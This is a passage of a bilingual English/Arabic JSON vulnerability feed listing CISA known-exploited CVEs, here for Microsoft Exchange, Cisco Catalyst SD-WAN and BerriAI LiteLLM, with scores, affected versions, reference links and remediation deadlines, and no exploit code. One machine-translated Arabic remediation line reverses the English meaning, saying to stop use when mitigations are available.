المتصفح."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42897","patch"],["https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-42897","advisory"],["https://learn.microsoft.com/en-us/exchange/plan-and-deploy/post-installation-tasks/security-best-practices/exchange-emergency-mitigation-service","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-42897","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-42897","ref"]],"epss":0.7066,"kevAdded":"2026-05-15T00:00:00Z","kevDue":"2026-05-29T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقاً لتعليمات المزود، أو اتبع توجيهات BOD 22-01 المطبقة على الخدمات السحابية، أو توقف عن استخدام المنتج في حال توفر إجراءات التخفيف.","machineTranslated":true,"productSlug":"microsoft"},{"id":"CVE-2026-20182","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-287","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-05-14T16:08:25Z","product":"Cisco Catalyst SD-WAN","affected":[["20.6.4",null],["20.9.2",null],["20.3.6",null],["20.7.2",null],["20.7.1",null],["20.5.1",null],["20.6.2",null],["19.3.0",null],["20.6.1",null],["17.2.4",null],["18.2.0",null],["18.4.6",null]],"title":{"en":"Cisco Catalyst SD-WAN Controller Authentication Bypass Vulnerability","ar":"ثغرة تجاوز المصادقة في Cisco Catalyst SD-WAN Controller"},"summary":{"en":"Cisco Catalyst SD-WAN Controller & Manager contain an authentication bypass vulnerability that allows an unauthenticated, remote attacker to bypass authentication and obtain administrative privileges on an affected system.","ar":"يحتوي Cisco Catalyst SD-WAN Controller & Manager على ثغرة تجاوز المصادقة تسمح لمهاجم عن بُعد دون مصادقة بتجاوز المصادقة والحصول على صلاحيات إدارية على النظام المتأثر."},"refs":[["https://www.cisa.gov/news-events/directives/ed-26-03-mitigate-vulnerabilities-cisco-sd-wan-systems","advisory"],["https://www.cisa.gov/news-events/directives/supplemental-direction-ed-26-03-hunt-and-hardening-guidance-cisco-sd-wan-systems","advisory"],["https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-20182","advisory"],["https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa-EHchtZk","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20182","ref"]],"epss":0.9182,"kevAdded":"2026-05-14T00:00:00Z","kevDue":"2026-05-17T00:00:00Z","kevAction":"Please adhere to CISA’s guidelines to assess exposure and mitigate risks associated with Cisco SD-WAN devices as outlined in CISA’s Emergency Directive 26-03 (URL listed below in Notes) and CISA’s Hunt & Hardening Guidance for Cisco SD-WAN Devices (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.","ransomware":false,"kevActionAr":"الرجاء الالتزام بإرشادات CISA لتقييم التعرض وتخفيف المخاطر المرتبطة بأجهزة Cisco SD-WAN كما هو موضح في توجيه الطوارئ 26-03 الصادر عن CISA وإرشادات البحث والتصلب لأجهزة Cisco SD-WAN الصادرة عن CISA. التزم بتوجيهات BOD 22-01 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا لم تتوفر إجراءات التخفيف.","machineTranslated":true,"productSlug":"cisco-catalyst-sd-wan"},{"id":"CVE-2026-42208","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-89","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-05-08T03:38:14Z","product":"BerriAI LiteLLM","affected":[],"title":{"en":"BerriAI LiteLLM SQL Injection Vulnerability","ar":"ثغرة الحقن في قواعد البيانات في BerriAI LiteLLM"},"summary":{"en":"BerriAI LiteLLM contains a SQL injection vulnerability that allows an attacker to read data from the proxy's database and potentially modify it, leading to unauthorized access to the proxy and the credentials it manages.","ar":"يحتوي BerriAI LiteLLM على ثغرة حقن في قواعد البيانات تسمح للمهاجم بقراءة البيانات من قاعدة بيانات الوكيل وربما تعديلها، مما يؤدي إلى وصول غير مصرح به إلى الوكيل وبيانات الاعتماد التي يديرها."},"refs":[["https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-42208","advisory"],["https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-42208","ref"],["https://access.redhat.com/security/cve/CVE-2026-42208","ref"],["https://bugzilla.redhat.com/show_bug.cgi?id=2463965","ref"],["https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42208.json","ref"]],"epss":0.8942,"kevAdded":"2026-05-08T00:00:00Z","kevDue":"2026-05-11T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقاً لتعليمات المزود، أو اتبع توجيهات BOD 22-01 المطبقة على الخدمات السحابية، أو توقف عن استخدام المنتج في حال توفر إجراءات التخفيف.","machineTranslated":true,"productSlug":"berriai-litellm"}]